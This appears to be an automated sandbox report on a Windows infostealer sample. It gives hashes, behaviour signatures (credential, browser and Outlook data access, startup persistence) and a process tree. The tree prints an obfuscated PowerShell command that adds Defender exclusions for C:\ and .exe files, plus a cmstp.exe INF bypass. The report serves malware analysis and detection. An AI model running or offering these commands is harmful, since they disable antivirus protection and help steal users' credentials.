Analysis

  • max time kernel
    93s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-11-2024 23:55

General

  • Target

    8032da9c35a71beb5a5593ef71b2dfe8d6a7096c5b2a4d5e09e9468a4301c98b.exe

  • Size

    28KB

  • MD5

    fc7028093f5b39048ecff77e49c0da2c

  • SHA1

    d9f1a1e4c77205dc444d47a5ffb37cce725350c5

  • SHA256

    8032da9c35a71beb5a5593ef71b2dfe8d6a7096c5b2a4d5e09e9468a4301c98b

  • SHA512

    260b5e123aff13f0ad6c13fb3536ae9fd4993181c00c85d813f99308ea83530b164a9bd5b4c733bdb1f19d9539b0dd13d2bfa92dbfac1c176e61a72402d8b458

  • SSDEEP

    768:VOsOe+vfOM3ofGgTkqwsWQdNEgfavRVorMB75:VOsOeEO0FraavvT

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Obfuscated with Agile.Net obfuscator 1 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs
  • Drops file in System32 directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8032da9c35a71beb5a5593ef71b2dfe8d6a7096c5b2a4d5e09e9468a4301c98b.exe
    "C:\Users\Admin\AppData\Local\Temp\8032da9c35a71beb5a5593ef71b2dfe8d6a7096c5b2a4d5e09e9468a4301c98b.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4760
    • \??\c:\windows\system32\cmstp.exe
      "c:\windows\system32\cmstp.exe" /au C:\Users\Admin\A.inf
      2⤵
        PID:2348
      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sy.exe
        "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sy.exe"
        2⤵
        • Executes dropped EXE
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -exec bypass [char]46+[char]40+[char]39+[char]123+[char]49+[char]125+[char]123+[char]48+[char]125+[char]123+[char]51+[char]125+[char]123+[char]50+[char]125+[char]39+[char]32+[char]45+[char]102+[char]32+[char]39+[char]100+[char]45+[char]77+[char]39+[char]44+[char]39+[char]65+[char]100+[char]39+[char]44+[char]39+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101+[char]39+[char]44+[char]39+[char]112+[char]80+[char]114+[char]101+[char]39+[char]41+[char]32+[char]45+[char]69+[char]120+[char]99+[char]108+[char]117+[char]115+[char]105+[char]111+[char]110+[char]80+[char]97+[char]116+[char]104+[char]32+[char]39+[char]67+[char]58+[char]92+[char]39+[char]59+[char]46+[char]40+[char]39+[char]123+[char]49+[char]125+[char]123+[char]48+[char]125+[char]123+[char]51+[char]125+[char]123+[char]50+[char]125+[char]39+[char]32+[char]45+[char]102+[char]32+[char]39+[char]100+[char]45+[char]77+[char]39+[char]44+[char]39+[char]65+[char]100+[char]39+[char]44+[char]39+[char]102+[char]101+[char]114+[char]101+[char]110+[char]99+[char]101+[char]39+[char]44+[char]39+[char]112+[char]80+[char]114+[char]101+[char]39+[char]41+[char]32+[char]45+[char]69+[char]120+[char]99+[char]108+[char]117+[char]115+[char]105+[char]111+[char]110+[char]69+[char]120+[char]116+[char]101+[char]110+[char]115+[char]105+[char]111+[char]110+[char]32+[char]39+[char]101+[char]120+[char]101+[char]39| .((gV '*mdr*').NAMe[3,11,2]-joIn'')
      1⤵
      • Drops file in System32 directory
      • Suspicious use of AdjustPrivilegeToken
      PID:3180
    • C:\Windows\system32\taskkill.exe
      taskkill /IM cmstp.exe /F
      1⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1956

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\A.inf

      Filesize

      1KB

      MD5

      961df7710c27cd2a2452c11aa48ada24

      SHA1

      081694e0067918b8355efef2cf72ef52d82e44b0

      SHA256

      d3a48635568ef5d4c0a1c86b3f750f06362056807d39b9461cd053ca88ee7a41

      SHA512

      64f9e3950c01f000e70166c5cb783a0be77249f2c06c99e23a9ab05c6a3a92f18de2478592db3b3dd328c8e5af6abcdcf07c74b63c373b7a24bc336a80503aae

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uajcztiv.2ns.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Sy.exe

      Filesize

      426KB

      MD5

      d00a8f6a66f5fcaf18564b6f47831294

      SHA1

      d1ae07fd6267b53264f1764cc45aafbfe9f5f763

      SHA256

      a60e55b8c66eb98a300d09fbdbe932bdf53476b805f10be02e6a7f2acdee8039

      SHA512

      99937a6e5aeb1248c8c341e43a0747eb98f06f972b559690afa810787173b2eb00ac2b657fd6c82a25630b1a47ab343bbf0b4e7ee250c54e59c95fa7f6f94c27

    • memory/656-108-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-7876-0x0000000005B90000-0x0000000005BF6000-memory.dmp

      Filesize

      408KB

    • memory/656-7880-0x0000000006DF0000-0x0000000006E40000-memory.dmp

      Filesize

      320KB

    • memory/656-7879-0x0000000006CE0000-0x0000000006CF2000-memory.dmp

      Filesize

      72KB

    • memory/656-90-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-7877-0x00000000065B0000-0x0000000006B54000-memory.dmp

      Filesize

      5.6MB

    • memory/656-88-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-2907-0x0000000005A30000-0x0000000005B20000-memory.dmp

      Filesize

      960KB

    • memory/656-2906-0x0000000005660000-0x00000000056AC000-memory.dmp

      Filesize

      304KB

    • memory/656-2905-0x0000000005630000-0x000000000565C000-memory.dmp

      Filesize

      176KB

    • memory/656-51-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-52-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-54-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-49-0x0000000000B60000-0x0000000000BD0000-memory.dmp

      Filesize

      448KB

    • memory/656-50-0x0000000005480000-0x000000000551C000-memory.dmp

      Filesize

      624KB

    • memory/656-72-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-78-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-114-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-112-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-110-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-106-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-104-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-102-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-96-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-94-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-92-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-7878-0x00000000060E0000-0x0000000006172000-memory.dmp

      Filesize

      584KB

    • memory/656-56-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-68-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-82-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-80-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-76-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-74-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-70-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-84-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-66-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-64-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-60-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-58-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-63-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-100-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-98-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/656-86-0x0000000005480000-0x0000000005516000-memory.dmp

      Filesize

      600KB

    • memory/4760-21-0x00007FFF3D860000-0x00007FFF3E321000-memory.dmp

      Filesize

      10.8MB

    • memory/4760-4-0x00007FFF3D863000-0x00007FFF3D865000-memory.dmp

      Filesize

      8KB

    • memory/4760-48-0x00007FFF3D860000-0x00007FFF3E321000-memory.dmp

      Filesize

      10.8MB

    • memory/4760-1-0x0000000000C60000-0x0000000000C6C000-memory.dmp

      Filesize

      48KB

    • memory/4760-35-0x00007FFF3D860000-0x00007FFF3E321000-memory.dmp

      Filesize

      10.8MB

    • memory/4760-0-0x00007FFF3D863000-0x00007FFF3D865000-memory.dmp

      Filesize

      8KB

    • memory/4760-20-0x000000001B950000-0x000000001B972000-memory.dmp

      Filesize

      136KB

    • memory/4760-10-0x00007FFF3D860000-0x00007FFF3E321000-memory.dmp

      Filesize

      10.8MB

    • memory/4760-3-0x00007FFF3D860000-0x00007FFF3E321000-memory.dmp

      Filesize

      10.8MB

    • memory/4760-2-0x000000001B7C0000-0x000000001B836000-memory.dmp

      Filesize

      472KB

    • memory/4760-7-0x000000001BA90000-0x000000001BB70000-memory.dmp

      Filesize

      896KB

    • memory/4760-6-0x00007FFF3D860000-0x00007FFF3E321000-memory.dmp

      Filesize

      10.8MB

    • memory/4760-5-0x0000000002FC0000-0x0000000002FDE000-memory.dmp

      Filesize

      120KB